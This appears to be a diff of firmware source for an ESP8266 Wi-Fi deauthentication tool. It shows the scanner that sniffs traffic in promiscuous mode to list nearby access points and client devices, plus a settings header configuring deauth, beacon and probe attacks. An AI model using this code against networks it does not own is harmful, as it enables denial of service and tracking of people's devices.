String(COMMA); // ["00:11:22:00:11:22",
|
||||
buf += String(stations.getCh(i)) + String(COMMA); // 1,
|
||||
buf += String(DOUBLEQUOTES) + stations.getNameStr(i) + String(DOUBLEQUOTES) + String(COMMA); // "name",
|
||||
buf += String(DOUBLEQUOTES) + stations.getVendorStr(i) + String(DOUBLEQUOTES) + String(COMMA); // "vendor",
|
||||
buf += String(*stations.getPkts(i)) + String(COMMA); // 123,
|
||||
buf += String(stations.getAP(i)) + String(COMMA); // 0,
|
||||
buf += String(DOUBLEQUOTES) + stations.getTimeStr(i) + String(DOUBLEQUOTES) + String(COMMA); // "<1min",
|
||||
buf += b2s(stations.getSelected(i)) + String(CLOSE_BRACKET); // false]
|
||||
|
||||
if (i < stationCount - 1) buf += String(COMMA); // ,
|
||||
|
||||
if (buf.length() >= 1024) {
|
||||
if (!appendFile(FILE_PATH, buf)) {
|
||||
prnt(F_ERROR_SAVING);
|
||||
prntln(FILE_PATH);
|
||||
return;
|
||||
}
|
||||
|
||||
buf = String(); // clear buffer
|
||||
}
|
||||
}
|
||||
|
||||
buf += String(CLOSE_BRACKET) + String(CLOSE_CURLY_BRACKET); // ]}
|
||||
|
||||
if (!appendFile(FILE_PATH, buf)) {
|
||||
prnt(F_ERROR_SAVING);
|
||||
prntln(FILE_PATH);
|
||||
return;
|
||||
}
|
||||
|
||||
accesspoints.changed = false;
|
||||
stations.changed = false;
|
||||
prnt(SC_SAVED_IN);
|
||||
prntln(FILE_PATH);
|
||||
}
|
||||
|
||||
uint32_t Scan::countSelected() {
|
||||
return accesspoints.selected() + stations.selected() + names.selected();
|
||||
}
|
||||
|
||||
uint32_t Scan::countAll() {
|
||||
return accesspoints.count() + stations.count() + names.count();
|
||||
}
|
||||
|
||||
bool Scan::isScanning() {
|
||||
return scanMode != SCAN_MODE_OFF;
|
||||
}
|
||||
|
||||
bool Scan::isSniffing() {
|
||||
return scanMode == SCAN_MODE_STATIONS || scanMode == SCAN_MODE_SNIFFER;
|
||||
}
|
||||
|
||||
uint8_t Scan::getPercentage() {
|
||||
if (!isSniffing()) return 0;
|
||||
|
||||
return (currentTime - snifferStartTime) / (sniffTime / 100);
|
||||
}
|
||||
|
||||
void Scan::selectAll() {
|
||||
accesspoints.selectAll();
|
||||
stations.selectAll();
|
||||
names.selectAll();
|
||||
}
|
||||
|
||||
void Scan::deselectAll() {
|
||||
accesspoints.deselectAll();
|
||||
stations.deselectAll();
|
||||
names.deselectAll();
|
||||
}
|
||||
|
||||
void Scan::printAll() {
|
||||
accesspoints.printAll();
|
||||
stations.printAll();
|
||||
names.printAll();
|
||||
ssids.printAll();
|
||||
}
|
||||
|
||||
void Scan::printSelected() {
|
||||
accesspoints.printSelected();
|
||||
stations.printSelected();
|
||||
names.printSelected();
|
||||
}
|
||||
|
||||
uint32_t Scan::getPackets(int i) {
|
||||
if (list->size() < SCAN_PACKET_LIST_SIZE) {
|
||||
uint8_t translatedNum = SCAN_PACKET_LIST_SIZE - list->size();
|
||||
|
||||
if (i >= translatedNum) return list->get(i - translatedNum);
|
||||
|
||||
return 0;
|
||||
} else {
|
||||
return list->get(i);
|
||||
}
|
||||
}
|
||||
|
||||
String Scan::getMode(){
|
||||
switch(scanMode) {
|
||||
case SCAN_MODE_OFF:
|
||||
return String(SC_MODE_OFF);
|
||||
case SCAN_MODE_APS:
|
||||
return String(SC_MODE_AP);
|
||||
case SCAN_MODE_STATIONS:
|
||||
return String(SC_MODE_ST);
|
||||
case SCAN_MODE_ALL:
|
||||
return String(SC_MODE_ALL);
|
||||
case SCAN_MODE_SNIFFER:
|
||||
return String(SC_MODE_SNIFFER);
|
||||
default:
|
||||
return String();
|
||||
}
|
||||
}
|
||||
|
||||
double Scan::getScaleFactor(uint8_t height) {
|
||||
return (double)height / (double)getMaxPacket();
|
||||
}
|
||||
|
||||
uint32_t Scan::getMaxPacket() {
|
||||
uint16_t max = 0;
|
||||
|
||||
for (uint8_t i = 0; i < list->size(); i++) {
|
||||
if (list->get(i) > max) max = list->get(i);
|
||||
}
|
||||
return max;
|
||||
}
|
||||
|
||||
uint32_t Scan::getPacketRate() {
|
||||
return list->get(list->size() - 1);
|
||||
}
|
||||
#include "Scan.h"
|
||||
|
||||
Scan::Scan() {
|
||||
list = new SimpleList<uint16_t>;
|
||||
}
|
||||
|
||||
void Scan::sniffer(uint8_t* buf, uint16_t len) {
|
||||
if (!isSniffing()) return;
|
||||
|
||||
packets++;
|
||||
|
||||
if (len < 28) return; // drop frames that are too short to have a valid MAC header
|
||||
|
||||
if ((buf[12] == 0xc0) || (buf[12] == 0xa0)) {
|
||||
tmpDeauths++;
|
||||
return;
|
||||
}
|
||||
|
||||
// drop beacon frames, probe requests/responses and deauth/disassociation frames
|
||||
if ((buf[12] == 0x80) || (buf[12] == 0x40) || (buf[12] == 0x50) /* || buf[12] == 0xc0 || buf[12] == 0xa0*/) return;
|
||||
|
||||
// only allow data frames
|
||||
// if(buf[12] != 0x08 && buf[12] != 0x88) return;
|
||||
|
||||
uint8_t* macTo = &buf[16];
|
||||
uint8_t* macFrom = &buf[22];
|
||||
|
||||
if (macBroadcast(macTo) || macBroadcast(macFrom) || !macValid(macTo) || !macValid(macFrom) || macMulticast(macTo) ||
|
||||
macMulticast(macFrom)) return;
|
||||
|
||||
int accesspointNum = findAccesspoint(macFrom);
|
||||
|
||||
if (accesspointNum >= 0) {
|
||||
stations.add(macTo, accesspoints.getID(accesspointNum));
|
||||
} else {
|
||||
accesspointNum = findAccesspoint(macTo);
|
||||
|
||||
if (accesspointNum >= 0) {
|
||||
stations.add(macFrom, accesspoints.getID(accesspointNum));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
int Scan::findAccesspoint(uint8_t* mac) {
|
||||
for (int i = 0; i < accesspoints.count(); i++) {
|
||||
if (memcmp(accesspoints.getMac(i), mac, 6) == 0) return i;
|
||||
}
|
||||
return -1;
|
||||
}
|
||||
|
||||
void Scan::start(uint8_t mode) {
|
||||
start(mode, sniffTime, scan_continue_mode, continueTime, channelHop, wifi_channel);
|
||||
}
|
||||
|
||||
void Scan::start(uint8_t mode, uint32_t time, uint8_t nextmode, uint32_t continueTime, bool channelHop,
|
||||
uint8_t channel) {
|
||||
if (mode != SCAN_MODE_OFF) stop();
|
||||
|
||||
setWifiChannel(channel);
|
||||
Scan::continueStartTime = currentTime;
|
||||
Scan::snifferPacketTime = continueStartTime;
|
||||
Scan::snifferOutputTime = continueStartTime;
|
||||
Scan::continueTime = continueTime;
|
||||
Scan::sniffTime = time;
|
||||
Scan::channelHop = channelHop;
|
||||
Scan::scanMode = mode;
|
||||
Scan::scan_continue_mode = nextmode;
|
||||
|
||||
if ((sniffTime > 0) && (sniffTime < 1000)) sniffTime = 1000;
|
||||
|
||||
// Serial.printf("mode: %u, time: %u, continue-mode: %u, continueTime: %u, channelHop: %u, channel: %u\r\n", mode,
|
||||
// time, scan_continue_mode, continueTime, channelHop, channel);
|
||||
|
||||
/* AP Scan */
|
||||
if ((mode == SCAN_MODE_APS) || (mode == SCAN_MODE_ALL)) {
|
||||
// remove old results
|
||||
accesspoints.removeAll();
|
||||
stations.removeAll();
|
||||
// start AP scan
|
||||
prntln(SC_START_AP);
|
||||
WiFi.scanNetworks(true, true);
|
||||
}
|
||||
|
||||
/* Station Scan */
|
||||
else if (mode == SCAN_MODE_STATIONS) {
|
||||
// start station scan
|
||||
if (accesspoints.count() < 1) {
|
||||
start(SCAN_MODE_ALL);
|
||||
// Serial.println(str(SC_ERROR_NO_AP));
|
||||
return;
|
||||
}
|
||||
snifferStartTime = currentTime;
|
||||
prnt(SC_START_CLIENT);
|
||||
|
||||
if (sniffTime > 0) prnt(String(sniffTime / 1000) + S);
|
||||
else prnt(SC_INFINITELY);
|
||||
|
||||
if (!channelHop) {
|
||||
prnt(SC_ON_CHANNEL);
|
||||
prnt(wifi_channel);
|
||||
}
|
||||
prntln();
|
||||
|
||||
// enable sniffer
|
||||
stopAP();
|
||||
wifi_promiscuous_enable(true);
|
||||
}
|
||||
|
||||
else if (mode == SCAN_MODE_SNIFFER) {
|
||||
deauths = tmpDeauths;
|
||||
tmpDeauths = 0;
|
||||
snifferStartTime = currentTime;
|
||||
prnt(SS_START_SNIFFER);
|
||||
|
||||
if (sniffTime > 0) prnt(String(sniffTime / 1000) + S);
|
||||
else prnt(SC_INFINITELY);
|
||||
prnt(SC_ON_CHANNEL);
|
||||
prntln(channelHop ? str(SC_ONE_TO) + (String)14 : (String)wifi_channel);
|
||||
|
||||
// enable sniffer
|
||||
stopAP();
|
||||
wifi_promiscuous_enable(true);
|
||||
}
|
||||
|
||||
/* Stop scan */
|
||||
else if (mode == SCAN_MODE_OFF) {
|
||||
wifi_promiscuous_enable(false);
|
||||
|
||||
if (settings.getWebInterface()) resumeAP();
|
||||
prntln(SC_STOPPED);
|
||||
save(true);
|
||||
|
||||
if (scan_continue_mode != SCAN_MODE_OFF) {
|
||||
prnt(SC_RESTART);
|
||||
prnt(int(continueTime / 1000));
|
||||
prntln(SC_CONTINUE);
|
||||
}
|
||||
}
|
||||
|
||||
/* ERROR */
|
||||
else {
|
||||
prnt(SC_ERROR_MODE);
|
||||
prntln(mode);
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
void Scan::update() {
|
||||
if (scanMode == SCAN_MODE_OFF) {
|
||||
// restart scan if it is continuous
|
||||
if (scan_continue_mode != SCAN_MODE_OFF) {
|
||||
if (currentTime - continueStartTime > continueTime) start(scan_continue_mode);
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
// sniffer
|
||||
if (isSniffing()) {
|
||||
// update packet list every 1s
|
||||
if (currentTime - snifferPacketTime > 1000) {
|
||||
snifferPacketTime = currentTime;
|
||||
list->add(packets);
|
||||
|
||||
if (list->size() > SCAN_PACKET_LIST_SIZE) list->remove(0);
|
||||
deauths = tmpDeauths;
|
||||
tmpDeauths = 0;
|
||||
packets = 0;
|
||||
}
|
||||
|
||||
// print status every 3s
|
||||
if (currentTime - snifferOutputTime > 3000) {
|
||||
char s[100];
|
||||
|
||||
if (sniffTime > 0) {
|
||||
sprintf(s, str(SC_OUTPUT_A).c_str(), getPercentage(), packets, stations.count(), deauths);
|
||||
} else {
|
||||
sprintf(s, str(SC_OUTPUT_B).c_str(), packets, stations.count(), deauths);
|
||||
}
|
||||
prnt(String(s));
|
||||
snifferOutputTime = currentTime;
|
||||
}
|
||||
|
||||
// channel hopping
|
||||
if (channelHop && (currentTime - snifferChannelTime > settings.getChTime())) {
|
||||
snifferChannelTime = currentTime;
|
||||
|
||||
if (scanMode == SCAN_MODE_STATIONS) nextChannel(); // go to next channel an AP is on
|
||||
else setChannel(wifi_channel + 1); // go to next channel
|
||||
}
|
||||
}
|
||||
|
||||
// APs
|
||||
if ((scanMode == SCAN_MODE_APS) || (scanMode == SCAN_MODE_ALL)) {
|
||||
int16_t results = WiFi.scanComplete();
|
||||
|
||||
if (results >= 0) {
|
||||
for (int16_t i = 0; i < results && i < 256; i++) {
|
||||
if (channelHop || (WiFi.channel(i) == wifi_channel)) accesspoints.add(i, false);
|
||||
}
|
||||
accesspoints.sort();
|
||||
accesspoints.printAll();
|
||||
|
||||
if (scanMode == SCAN_MODE_ALL) {
|
||||
delay(30);
|
||||
start(SCAN_MODE_STATIONS);
|
||||
}
|
||||
else start(SCAN_MODE_OFF);
|
||||
}
|
||||
}
|
||||
|
||||
// Stations
|
||||
else if ((sniffTime > 0) && (currentTime > snifferStartTime + sniffTime)) {
|
||||
wifi_promiscuous_enable(false);
|
||||
|
||||
if (scanMode == SCAN_MODE_STATIONS) {
|
||||
stations.sort();
|
||||
stations.printAll();
|
||||
}
|
||||
start(SCAN_MODE_OFF);
|
||||
}
|
||||
}
|
||||
|
||||
void Scan::setup() {
|
||||
save(true);
|
||||
}
|
||||
|
||||
void Scan::stop() {
|
||||
scan_continue_mode = SCAN_MODE_OFF;
|
||||
start(SCAN_MODE_OFF);
|
||||
}
|
||||
|
||||
void Scan::setChannel(uint8_t ch) {
|
||||
if (ch > 14) ch = 1;
|
||||
else if (ch < 1) ch = 14;
|
||||
|
||||
wifi_promiscuous_enable(0);
|
||||
setWifiChannel(ch);
|
||||
wifi_promiscuous_enable(1);
|
||||
}
|
||||
|
||||
void Scan::nextChannel() {
|
||||
if (accesspoints.count() > 1) {
|
||||
uint8_t ch = wifi_channel;
|
||||
|
||||
do {
|
||||
ch++;
|
||||
|
||||
if (ch > 14) ch = 1;
|
||||
} while (!apWithChannel(ch));
|
||||
setChannel(ch);
|
||||
}
|
||||
}
|
||||
|
||||
bool Scan::apWithChannel(uint8_t ch) {
|
||||
for (int i = 0; i < accesspoints.count(); i++)
|
||||
if (accesspoints.getCh(i) == ch) return true;
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
void Scan::save(bool force, String filePath) {
|
||||
String tmp = FILE_PATH;
|
||||
|
||||
FILE_PATH = filePath;
|
||||
save(true);
|
||||
FILE_PATH = tmp;
|
||||
}
|
||||
|
||||
void Scan::save(bool force) {
|
||||
if (!(accesspoints.changed || stations.changed) && !force) return;
|
||||
|
||||
// Accesspoints
|
||||
String buf = String(OPEN_CURLY_BRACKET) + String(DOUBLEQUOTES) + str(SC_JSON_APS) + String(DOUBLEQUOTES) + String(
|
||||
DOUBLEPOINT) + String(OPEN_BRACKET); // {"aps":[
|
||||
|
||||
if (!writeFile(FILE_PATH, buf)) { // overwrite old file
|
||||
prnt(F_ERROR_SAVING);
|
||||
prntln(FILE_PATH);
|
||||
return;
|
||||
}
|
||||
|
||||
buf = String(); // clear buffer
|
||||
uint32_t apCount = accesspoints.count();
|
||||
|
||||
for (uint32_t i = 0; i < apCount; i++) {
|
||||
buf += String(OPEN_BRACKET) + String(DOUBLEQUOTES) + escape(accesspoints.getSSID(i)) + String(DOUBLEQUOTES) +
|
||||
String(COMMA); // ["ssid",
|
||||
buf += String(DOUBLEQUOTES) + escape(accesspoints.getNameStr(i)) + String(DOUBLEQUOTES) + String(COMMA); // "name",
|
||||
buf += String(accesspoints.getCh(i)) + String(COMMA); // 1,
|
||||
buf += String(accesspoints.getRSSI(i)) + String(COMMA); // -30,
|
||||
buf += String(DOUBLEQUOTES) + accesspoints.getEncStr(i) + String(DOUBLEQUOTES) + String(COMMA); // "wpa2",
|
||||
buf += String(DOUBLEQUOTES) + accesspoints.getMacStr(i) + String(DOUBLEQUOTES) + String(COMMA); // "00:11:22:00:11:22",
|
||||
buf += String(DOUBLEQUOTES) + accesspoints.getVendorStr(i) + String(DOUBLEQUOTES) + String(COMMA); // "vendor",
|
||||
buf += b2s(accesspoints.getSelected(i)) + String(CLOSE_BRACKET); // false]
|
||||
|
||||
if (i < apCount - 1) buf += String(COMMA); // ,
|
||||
|
||||
if (buf.length() >= 1024) {
|
||||
if (!appendFile(FILE_PATH, buf)) {
|
||||
prnt(F_ERROR_SAVING);
|
||||
prntln(FILE_PATH);
|
||||
return;
|
||||
}
|
||||
|
||||
buf = String(); // clear buffer
|
||||
}
|
||||
}
|
||||
|
||||
// Stations
|
||||
buf += String(CLOSE_BRACKET) + String(COMMA) + String(DOUBLEQUOTES) + str(SC_JSON_STATIONS) + String(DOUBLEQUOTES) +
|
||||
String(DOUBLEPOINT) + String(OPEN_BRACKET); // ],"stations":[;
|
||||
uint32_t stationCount = stations.count();
|
||||
|
||||
for (uint32_t i = 0; i < stationCount; i++) {
|
||||
buf += String(OPEN_BRACKET) + String(DOUBLEQUOTES) + stations.getMacStr(i) + String(DOUBLEQUOTES) +
|
||||
String(COMMA); // ["00:11:22:00:11:22",
|
||||
buf += String(stations.getCh(i)) + String(COMMA); // 1,
|
||||
buf += String(DOUBLEQUOTES) + stations.getNameStr(i) + String(DOUBLEQUOTES) + String(COMMA); // "name",
|
||||
buf += String(DOUBLEQUOTES) + stations.getVendorStr(i) + String(DOUBLEQUOTES) + String(COMMA); // "vendor",
|
||||
buf += String(*stations.getPkts(i)) + String(COMMA); // 123,
|
||||
buf += String(stations.getAP(i)) + String(COMMA); // 0,
|
||||
buf += String(DOUBLEQUOTES) + stations.getTimeStr(i) + String(DOUBLEQUOTES) + String(COMMA); // "<1min",
|
||||
buf += b2s(stations.getSelected(i)) + String(CLOSE_BRACKET); // false]
|
||||
|
||||
if (i < stationCount - 1) buf += String(COMMA); // ,
|
||||
|
||||
if (buf.length() >= 1024) {
|
||||
if (!appendFile(FILE_PATH, buf)) {
|
||||
prnt(F_ERROR_SAVING);
|
||||
prntln(FILE_PATH);
|
||||
return;
|
||||
}
|
||||
|
||||
buf = String(); // clear buffer
|
||||
}
|
||||
}
|
||||
|
||||
buf += String(CLOSE_BRACKET) + String(CLOSE_CURLY_BRACKET); // ]}
|
||||
|
||||
if (!appendFile(FILE_PATH, buf)) {
|
||||
prnt(F_ERROR_SAVING);
|
||||
prntln(FILE_PATH);
|
||||
return;
|
||||
}
|
||||
|
||||
accesspoints.changed = false;
|
||||
stations.changed = false;
|
||||
prnt(SC_SAVED_IN);
|
||||
prntln(FILE_PATH);
|
||||
}
|
||||
|
||||
uint32_t Scan::countSelected() {
|
||||
return accesspoints.selected() + stations.selected() + names.selected();
|
||||
}
|
||||
|
||||
uint32_t Scan::countAll() {
|
||||
return accesspoints.count() + stations.count() + names.count();
|
||||
}
|
||||
|
||||
bool Scan::isScanning() {
|
||||
return scanMode != SCAN_MODE_OFF;
|
||||
}
|
||||
|
||||
bool Scan::isSniffing() {
|
||||
return scanMode == SCAN_MODE_STATIONS || scanMode == SCAN_MODE_SNIFFER;
|
||||
}
|
||||
|
||||
uint8_t Scan::getPercentage() {
|
||||
if (!isSniffing()) return 0;
|
||||
|
||||
return (currentTime - snifferStartTime) / (sniffTime / 100);
|
||||
}
|
||||
|
||||
void Scan::selectAll() {
|
||||
accesspoints.selectAll();
|
||||
stations.selectAll();
|
||||
names.selectAll();
|
||||
}
|
||||
|
||||
void Scan::deselectAll() {
|
||||
accesspoints.deselectAll();
|
||||
stations.deselectAll();
|
||||
names.deselectAll();
|
||||
}
|
||||
|
||||
void Scan::printAll() {
|
||||
accesspoints.printAll();
|
||||
stations.printAll();
|
||||
names.printAll();
|
||||
ssids.printAll();
|
||||
}
|
||||
|
||||
void Scan::printSelected() {
|
||||
accesspoints.printSelected();
|
||||
stations.printSelected();
|
||||
names.printSelected();
|
||||
}
|
||||
|
||||
uint32_t Scan::getPackets(int i) {
|
||||
if (list->size() < SCAN_PACKET_LIST_SIZE) {
|
||||
uint8_t translatedNum = SCAN_PACKET_LIST_SIZE - list->size();
|
||||
|
||||
if (i >= translatedNum) return list->get(i - translatedNum);
|
||||
|
||||
return 0;
|
||||
} else {
|
||||
return list->get(i);
|
||||
}
|
||||
}
|
||||
|
||||
String Scan::getMode() {
|
||||
switch (scanMode) {
|
||||
case SCAN_MODE_OFF:
|
||||
return String(SC_MODE_OFF);
|
||||
|
||||
case SCAN_MODE_APS:
|
||||
return String(SC_MODE_AP);
|
||||
|
||||
case SCAN_MODE_STATIONS:
|
||||
return String(SC_MODE_ST);
|
||||
|
||||
case SCAN_MODE_ALL:
|
||||
return String(SC_MODE_ALL);
|
||||
|
||||
case SCAN_MODE_SNIFFER:
|
||||
return String(SC_MODE_SNIFFER);
|
||||
|
||||
default:
|
||||
return String();
|
||||
}
|
||||
}
|
||||
|
||||
double Scan::getScaleFactor(uint8_t height) {
|
||||
return (double)height / (double)getMaxPacket();
|
||||
}
|
||||
|
||||
uint32_t Scan::getMaxPacket() {
|
||||
uint16_t max = 0;
|
||||
|
||||
for (uint8_t i = 0; i < list->size(); i++) {
|
||||
if (list->get(i) > max) max = list->get(i);
|
||||
}
|
||||
return max;
|
||||
}
|
||||
|
||||
uint32_t Scan::getPacketRate() {
|
||||
return list->get(list->size() - 1);
|
||||
}
|
||||
@@ -1,99 +1,98 @@
|
||||
#ifndef Scan_h
|
||||
#define Scan_h
|
||||
|
||||
#include "Arduino.h"
|
||||
#include "Accesspoints.h"
|
||||
#include "Stations.h"
|
||||
#include "Names.h"
|
||||
#include "SSIDs.h"
|
||||
#include "Settings.h"
|
||||
#include "language.h"
|
||||
#include "SimpleList.h"
|
||||
|
||||
#define SCAN_MODE_OFF 0
|
||||
#define SCAN_MODE_APS 1
|
||||
#define SCAN_MODE_STATIONS 2
|
||||
#define SCAN_MODE_ALL 3
|
||||
#define SCAN_MODE_SNIFFER 4
|
||||
#define SCAN_DEFAULT_TIME 15000
|
||||
#define SCAN_DEFAULT_CONTINUE_TIME 10000
|
||||
#define SCAN_PACKET_LIST_SIZE 64
|
||||
|
||||
extern Accesspoints accesspoints;
|
||||
extern Stations stations;
|
||||
extern Names names;
|
||||
extern SSIDs ssids;
|
||||
extern Settings settings;
|
||||
extern uint8_t wifiMode;
|
||||
|
||||
extern void setWifiChannel(uint8_t ch);
|
||||
extern bool appendFile(String path, String& buf);
|
||||
extern bool writeFile(String path, String& buf);
|
||||
extern void readFileToSerial(const String path);
|
||||
extern void resumeAP();
|
||||
extern void stopAP();
|
||||
extern String escape(String str);
|
||||
|
||||
class Scan {
|
||||
public:
|
||||
Scan();
|
||||
|
||||
void sniffer(uint8_t* buf, uint16_t len);
|
||||
void start(uint8_t mode, uint32_t time, uint8_t nextmode, uint32_t continueTime, bool channelHop,
|
||||
uint8_t channel);
|
||||
void start(uint8_t mode);
|
||||
|
||||
void setup();
|
||||
void update();
|
||||
void stop();
|
||||
void save(bool force);
|
||||
void save(bool force, String filePath);
|
||||
|
||||
void selectAll();
|
||||
void deselectAll();
|
||||
void printAll();
|
||||
void printSelected();
|
||||
|
||||
uint8_t getPercentage();
|
||||
uint32_t getPackets(int i);
|
||||
uint32_t countAll();
|
||||
uint32_t countSelected();
|
||||
bool isScanning();
|
||||
bool isSniffing();
|
||||
|
||||
void nextChannel();
|
||||
void setChannel(uint8_t newChannel);
|
||||
|
||||
String getMode();
|
||||
double getScaleFactor(uint8_t height);
|
||||
uint32_t getMaxPacket();
|
||||
uint32_t getPacketRate();
|
||||
|
||||
uint16_t deauths = 0;
|
||||
uint16_t packets = 0;
|
||||
|
||||
private:
|
||||
SimpleList<uint16_t>* list; // packet list
|
||||
|
||||
uint32_t sniffTime = SCAN_DEFAULT_TIME; // how long the scan runs
|
||||
uint32_t snifferStartTime = 0; // when the scan started
|
||||
uint32_t snifferOutputTime = 0; // last info output (every 3s)
|
||||
uint32_t snifferChannelTime = 0; // last time the channel was changed
|
||||
uint32_t snifferPacketTime = 0; // last time the packet rate was reseted (every 1s)
|
||||
|
||||
uint8_t scanMode = 0;
|
||||
|
||||
uint8_t scan_continue_mode = 0; // restart mode after scan stopped
|
||||
uint32_t continueTime = SCAN_DEFAULT_CONTINUE_TIME; // time in ms to wait until scan restarts
|
||||
uint32_t continueStartTime = 0; // when scan restarted
|
||||
|
||||
bool channelHop = true;
|
||||
uint16_t tmpDeauths = 0;
|
||||
|
||||
bool apWithChannel(uint8_t ch);
|
||||
int findAccesspoint(uint8_t* mac);
|
||||
|
||||
String FILE_PATH = "/scan.json";
|
||||
};
|
||||
|
||||
#endif // ifndef Scan_h
|
||||
#ifndef Scan_h
|
||||
#define Scan_h
|
||||
|
||||
#include "Arduino.h"
|
||||
#include "Accesspoints.h"
|
||||
#include "Stations.h"
|
||||
#include "Names.h"
|
||||
#include "SSIDs.h"
|
||||
#include "Settings.h"
|
||||
#include "language.h"
|
||||
#include "SimpleList.h"
|
||||
|
||||
#define SCAN_MODE_OFF 0
|
||||
#define SCAN_MODE_APS 1
|
||||
#define SCAN_MODE_STATIONS 2
|
||||
#define SCAN_MODE_ALL 3
|
||||
#define SCAN_MODE_SNIFFER 4
|
||||
#define SCAN_DEFAULT_TIME 15000
|
||||
#define SCAN_DEFAULT_CONTINUE_TIME 10000
|
||||
#define SCAN_PACKET_LIST_SIZE 64
|
||||
|
||||
extern Accesspoints accesspoints;
|
||||
extern Stations stations;
|
||||
extern Names names;
|
||||
extern SSIDs ssids;
|
||||
extern Settings settings;
|
||||
extern uint8_t wifiMode;
|
||||
|
||||
extern void setWifiChannel(uint8_t ch);
|
||||
extern bool appendFile(String path, String& buf);
|
||||
extern bool writeFile(String path, String& buf);
|
||||
extern void readFileToSerial(const String path);
|
||||
extern void resumeAP();
|
||||
extern void stopAP();
|
||||
extern String escape(String str);
|
||||
|
||||
class Scan {
|
||||
public:
|
||||
Scan();
|
||||
|
||||
void sniffer(uint8_t* buf, uint16_t len);
|
||||
void start(uint8_t mode, uint32_t time, uint8_t nextmode, uint32_t continueTime, bool channelHop, uint8_t channel);
|
||||
void start(uint8_t mode);
|
||||
|
||||
void setup();
|
||||
void update();
|
||||
void stop();
|
||||
void save(bool force);
|
||||
void save(bool force, String filePath);
|
||||
|
||||
void selectAll();
|
||||
void deselectAll();
|
||||
void printAll();
|
||||
void printSelected();
|
||||
|
||||
uint8_t getPercentage();
|
||||
uint32_t getPackets(int i);
|
||||
uint32_t countAll();
|
||||
uint32_t countSelected();
|
||||
bool isScanning();
|
||||
bool isSniffing();
|
||||
|
||||
void nextChannel();
|
||||
void setChannel(uint8_t newChannel);
|
||||
|
||||
String getMode();
|
||||
double getScaleFactor(uint8_t height);
|
||||
uint32_t getMaxPacket();
|
||||
uint32_t getPacketRate();
|
||||
|
||||
uint16_t deauths = 0;
|
||||
uint16_t packets = 0;
|
||||
|
||||
private:
|
||||
SimpleList<uint16_t>* list; // packet list
|
||||
|
||||
uint32_t sniffTime = SCAN_DEFAULT_TIME; // how long the scan runs
|
||||
uint32_t snifferStartTime = 0; // when the scan started
|
||||
uint32_t snifferOutputTime = 0; // last info output (every 3s)
|
||||
uint32_t snifferChannelTime = 0; // last time the channel was changed
|
||||
uint32_t snifferPacketTime = 0; // last time the packet rate was reseted (every 1s)
|
||||
|
||||
uint8_t scanMode = 0;
|
||||
|
||||
uint8_t scan_continue_mode = 0; // restart mode after scan stopped
|
||||
uint32_t continueTime = SCAN_DEFAULT_CONTINUE_TIME; // time in ms to wait until scan restarts
|
||||
uint32_t continueStartTime = 0; // when scan restarted
|
||||
|
||||
bool channelHop = true;
|
||||
uint16_t tmpDeauths = 0;
|
||||
|
||||
bool apWithChannel(uint8_t ch);
|
||||
int findAccesspoint(uint8_t* mac);
|
||||
|
||||
String FILE_PATH = "/scan.json";
|
||||
};
|
||||
|
||||
#endif // ifndef Scan_h
|
||||
File diff suppressed because it is too large
Load Diff
@@ -1,139 +1,139 @@
|
||||
#ifndef Settings_h
|
||||
#define Settings_h
|
||||
|
||||
#include "Arduino.h"
|
||||
#include <FS.h>
|
||||
extern "C" {
|
||||
#include "user_interface.h"
|
||||
}
|
||||
#include "ArduinoJson.h"
|
||||
#include "language.h"
|
||||
#include "A_config.h"
|
||||
|
||||
#define VERSION "v2.0.6"
|
||||
|
||||
extern void checkFile(String path, String data);
|
||||
extern JsonVariant parseJSONFile(String path, DynamicJsonBuffer& jsonBuffer);
|
||||
extern bool writeFile(String path, String& buf);
|
||||
extern void saveJSONFile(String path, JsonObject& root);
|
||||
extern String macToStr(uint8_t* mac);
|
||||
extern void getRandomMac(uint8_t* mac);
|
||||
extern bool strToMac(String macStr, uint8_t* mac);
|
||||
extern void setWifiChannel(uint8_t ch);
|
||||
extern String fixUtf8(String str);
|
||||
extern void copyWebFiles(bool force);
|
||||
extern bool macValid(uint8_t* mac);
|
||||
|
||||
class Settings {
|
||||
public:
|
||||
Settings();
|
||||
void load();
|
||||
void load(String filepath);
|
||||
void save(bool force);
|
||||
void save(bool force, String filepath);
|
||||
void reset();
|
||||
void print();
|
||||
|
||||
void set(const char* str, String value);
|
||||
String get(const char* str);
|
||||
|
||||
String getVersion();
|
||||
uint16_t getDeauthsPerTarget();
|
||||
uint8_t getDeauthReason();
|
||||
bool getBeaconChannel();
|
||||
uint8_t getForcePackets();
|
||||
bool getAutosave();
|
||||
uint32_t getAutosaveTime();
|
||||
bool getBeaconInterval();
|
||||
uint8_t getChannel();
|
||||
String getSSID();
|
||||
String getPassword();
|
||||
bool getCLI();
|
||||
bool getDisplayInterface();
|
||||
bool getWebInterface();
|
||||
uint16_t getChTime();
|
||||
uint8_t* getMacSt();
|
||||
uint8_t* getMacAP();
|
||||
bool getRandomTX();
|
||||
uint32_t getAttackTimeout();
|
||||
bool getLedEnabled();
|
||||
uint8_t getProbesPerSSID();
|
||||
bool getHidden();
|
||||
bool getCaptivePortal();
|
||||
uint16_t getMinDeauths();
|
||||
uint32_t getDisplayTimeout();
|
||||
String getLang();
|
||||
bool getSerialEcho();
|
||||
bool getWebSpiffs();
|
||||
|
||||
void setDeauthsPerTarget(uint16_t deauthsPerTarget);
|
||||
void setDeauthReason(uint8_t deauthReason);
|
||||
void setBeaconChannel(bool beaconChannel);
|
||||
void setForcePackets(uint8_t forcePackets);
|
||||
void setAutosave(bool autosave);
|
||||
void setAutosaveTime(uint32_t autosaveTime);
|
||||
void setBeaconInterval(bool beaconInterval);
|
||||
void setChannel(uint8_t channel);
|
||||
void setSSID(String ssid);
|
||||
void setPassword(String password);
|
||||
void setCLI(bool cli);
|
||||
void setDisplayInterface(bool displayInterface);
|
||||
void setWebInterface(bool webInterface);
|
||||
void setChTime(uint16_t chTime);
|
||||
void setMacSt(String macStr);
|
||||
bool setMacSt(uint8_t* macSt);
|
||||
void setMacAP(String macStr);
|
||||
bool setMacAP(uint8_t* macAP);
|
||||
void setRandomTX(bool randomTX);
|
||||
void setAttackTimeout(uint32_t attackTimeout);
|
||||
void setLedEnabled(bool ledEnabled);
|
||||
void setProbesPerSSID(uint8_t probesPerSSID);
|
||||
void setHidden(bool hidden);
|
||||
void setCaptivePortal(bool captivePortal);
|
||||
void setMinDeauths(uint16_t minDeauths);
|
||||
